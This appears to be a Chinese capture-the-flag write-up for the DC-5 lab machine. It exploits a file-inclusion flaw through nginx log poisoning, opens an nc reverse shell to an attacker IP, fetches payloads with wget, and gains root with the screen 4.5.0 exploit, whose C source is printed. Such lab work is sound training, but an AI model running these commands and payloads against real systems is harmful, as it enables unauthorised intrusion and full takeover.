DC-5

先扫一下ip

发现IP是143
扫一下端口

发现有三个端口开发
去80看看


发现几个输入框
提交看看
提交两次后发现底部的页脚老是变动


在现代网页设计和开发中,页眉(Header)和页脚(Footer)通常会被设计成独立文件,然后通过包含(include)的方式在多个页面中复用
这样设计优点:
提高代码复用性:只需编写一次页眉和页脚,多个页面共享,不用重复代码。
便于维护:修改页眉或页脚时,只需修改对应的单独文件,所有页面会自动更新。减少错误:复用代码可避免多页面维护时因手动修改产生的不一致或错误。
扫描一下目录

可以发现页脚的php文件


再次验证了每次刷新都会改变并且用了文件包含
我们可以使用wfuzz来爆一下这个文件包含的参数
Wfuzz 自带字典位于 /usr/share/wfuzz/wordlist/,常用字典包括 common.txt、big.txt、http_methods.txt 等
基本语法:
wfuzz [选项] <目标URL(含FUZZ)>
-w 或 -z file,字典文件:指定字典文件。
FUZZ:占位符,表示将被字典内容替换的位置。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.59.143/thankyou.php?FUZZ=/etc/passwd


可以看到file的数据明显跟其他不一样说明参数就是file
验证一下

验证成功果然是file
我们可以使用日志包含反弹shell来操控系统
whatweb -v 192.168.59.143

发现是nginx
nginx一般系统日志通常在/var/log/nginx/目录下
我们先用bp抓包写入一句话木马

使用system来执行待会传的nc系统命令,使用get来从url里面获取
放包
验证一下
?file=/var/log/nginx/error.log&a=id

发现可以获取id信息
我们使用nc来进行反弹shell
先在kali开启监听

?file=/var/log/nginx/error.log&a=nc 192.168.59.135 4444 -e /bin/bash


发现成功连接
召唤bash
python -c "import pty;pty.spawn('/bin/bash')"

查看一下当前目录

去家目录里面看一下

发现只有一个用户查看一下

空空如也
我们尝试find找一下有没有带有s权限的命令
尝试提权
find / -perm -u=s -type f 2>/dev/null

发现有一个4.5.0这个有点意思
查一下
searchsploit screen 4.5.0

我们使用第一个脚本
查看信息并复制到当前目录
searchsploit -m linux/local/41154.sh

我们将脚本转移到目标靶机里面
先在kali上面开启一个http服务
python3 -m http.server 8888

回到反弹shell里
使用wget下载下来
wget http://192.168.59.135:8888/41154.sh
先到tmp临时目录下

然后再执行命令

查看一下文件

发现没有执行权限

好成功赋予执行权限
执行一下

欸发现报错了
翻译
~ gnu/screenroot ~
【屏幕漏洞提权工具】
[+] First, we create our shell and library...
【+ 第一步:创建提权用的命令行和库文件...】
gcc: error trying to exec 'cc1': execvp: No such file or directory
【gcc 编译器错误:尝试执行 cc1 编译程序失败,未找到该文件或目录】
gcc: error trying to exec 'cc1': execvp: No such file or directory
【gcc 编译器错误:尝试执行 cc1 编译程序失败,未找到该文件或目录】
[+] Now we create our /etc/ld.so.preload file...
【+ 第二步:创建系统预加载配置文件...】
[+] Triggering...
【+ 触发提权...】
ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
【错误:无法预加载库文件 /tmp/libhax.so(文件不存在),已忽略】
No Sockets found in /tmp/screens/S-www-data.
【未找到提权所需的套接字文件】
./41154.sh: line 42: /tmp/rootshell: No such file or directory
【脚本第42行错误:未找到提权程序 rootshell(文件不存在)】
靶机没有gcc编译器
我们找个有gcc编译器的虚拟机编译一下
这里我用kali去先编译一下
先cat查看一下文件内容

cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
把这俩块c代码挑出来


按照脚本里面的操作编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

发现报错了
可能是gcc版本太高了换成centos试试


成功编译
将文件传给靶机

使用wget获取文件
wget http://172.16.103.121:9999/libhax.so
wget http://172.16.103.121:9999/rootshell


再次执行./41154.sh

成功获得root


浙公网安备 33010602011771号